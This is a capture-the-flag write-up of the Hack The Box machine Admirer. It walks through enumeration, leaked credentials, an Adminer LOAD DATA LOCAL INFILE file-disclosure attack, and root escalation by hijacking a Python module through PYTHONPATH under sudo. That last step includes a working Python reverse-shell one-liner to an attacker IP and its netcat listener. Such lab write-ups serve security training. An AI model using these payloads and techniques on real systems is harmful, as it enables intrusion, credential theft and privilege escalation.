← Home

Hack The Box : Admirer

1 September, 2021

Nmap showed ftp, ssh and http were running

---------------------Starting Port Scan-----------------------
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
---------------------Starting Script Scan-----------------------
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
---------------------Starting Full Scan------------------------
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
No new ports

The ftp server didn't have anonymous login enabled. The robots.txt had one disallowed directory

$ curl 10.10.10.187/robots.txt
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

$ curl 10.10.10.187/admin-dir/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80</address>
</body></html>

This directory was not accessible but I could still run gobuster on this to find out what maybe in the directory

/contacts.txt         (Status: 200) [Size: 350]
/contacts.txt         (Status: 200) [Size: 350]
/credentials.txt      (Status: 200) [Size: 136]
/credentials.txt      (Status: 200) [Size: 136]

Quite a lot of details in here

$ curl 10.10.10.187/admin-dir/credentials.txt; curl 10.10.10.187/admin-dir/contacts.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

Found two files on the FTP server

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz

Unzipping the html archive, I found some more credentials in utility-scripts/db_admin.php

  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

Yet another pair of credentials was present in index.php

$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

At this point, I had a bunch of possible users and passwords, so I put them all in separate lists and tested against ssh using hydra but none of them worked.

I ran some more gobuster scans and found /utility-scripts/adminer.php

/adminer.php          (Status: 200) [Size: 4294]

As before, none of the credentials worked here too... bummer...

I searched around and learnt that Adminer 4.6.2 (the version deployed here) is vulnerable to file disclosure. This guide was really helpful. The exploit involved setting up a MySQL instance locally, connecting to it from the Adminer instance and then loading local files using LOAD LOCAL FILE, the key here is LOCAL since that means the files should be present on the client side. LOAD LOCAL FILE is usually disabled or enabled with restricted use on other clients like phpMyAdmin.

I created a temporary DB on my local MariaDB instance and connected to it using Adminer. PS: In case you're looking for the bind-address setting for MariaDB to make it listen on 0.0.0.0, I found it in /etc/mysql/mariadb.conf.d/50-server.cnf

The query I ran from Adminer

LOAD DATA LOCAL INFILE '/etc/passwd' 
INTO TABLE temp.tbl
FIELDS TERMINATED BY "\n"

But it failed with error

Error in query (2000): open_basedir restriction in effect. Unable to open file 

Loading /var/www/html/index.php worked though and I found yet more credentials

|                         $servername = "localhost";                                                                              |
|                         $username = "waldo";                                                                                    |
|                         $password = "&<h5b~yK3F#{PaPB&dA}{H>";                                                                  |
|                         $dbname = "admirerdb";

User

Finally the credentials from the actual index.php worked for SSH as well and I was in as waldo!

ssh waldo@10.10.10.187                         
The authenticity of host '10.10.10.187 (10.10.10.187)' can't be established.
ECDSA key fingerprint is SHA256:NSIaytJ0GOq4AaLY0wPFdPsnuw/wBUt2SvaCdiFM8xI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.187' (ECDSA) to the list of known hosts.
waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ whoami
waldo
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
waldo@admirer:~$ ls -ltrha
total 28K
-rw-r--r-- 1 waldo waldo  675 Nov 29  2019 .profile
-rw-r--r-- 1 waldo waldo 3.5K Nov 29  2019 .bashrc
-rw-r--r-- 1 waldo waldo  220 Nov 29  2019 .bash_logout
lrwxrwxrwx 1 waldo waldo    9 Nov 29  2019 .bash_history -> /dev/null
lrwxrwxrwx 1 waldo waldo    9 Nov 29  2019 .mysql_history -> /dev/null
drwxr-xr-x 9 root  root  4.0K Dec  2  2019 ..
lrwxrwxrwx 1 waldo waldo    9 Dec  2  2019 .lesshst -> /dev/null
drwxr-xr-x 2 waldo waldo 4.0K Apr 29  2020 .nano
drwxr-x--- 3 waldo waldo 4.0K Apr 29  2020 .
-rw-r----- 1 root  waldo   33 Sep  1 15:17 user.txt
waldo@admirer:~$ cat user.txt
<flag>

Root

waldo had permission to run a script as root using sudo. SETENV meant that I could override environment variables like VARIABLE=value sudo -E <command>

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

Everything was running with a fully qualified path except for echo so I tried hijacking that but it didn't work for some reason, probably because of the secure_path setting.

I checked the backup script /opt/scripts/backup.py, it was loading shutil

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

I thought if waldo had write permission to shutil.py, then I could hijack that... But it didn't...

waldo@admirer:~$ ls -ltrha /usr/lib/python3.5/shutil.py 
-rw-r--r-- 1 root root 40K Sep 27  2018 /usr/lib/python3.5/shutil.py

Well it turns out there is more than one way to hijack python modules. Python files in the directories specific by the environment variable PYTHONPATH, can be imported using import statements. So I could create my own shutil and have the function make_archive in it with code that would trigger a reverse shell

waldo@admirer:/tmp/temp$ cat shutil.py 
def make_archive(arg1, arg2, arg3):
        import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
waldo@admirer:/tmp/temp$ sudo PYTHONPATH=$PWD /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...

It worked!!

nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.187] 47438
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
# cat /root/root.txt
<flag>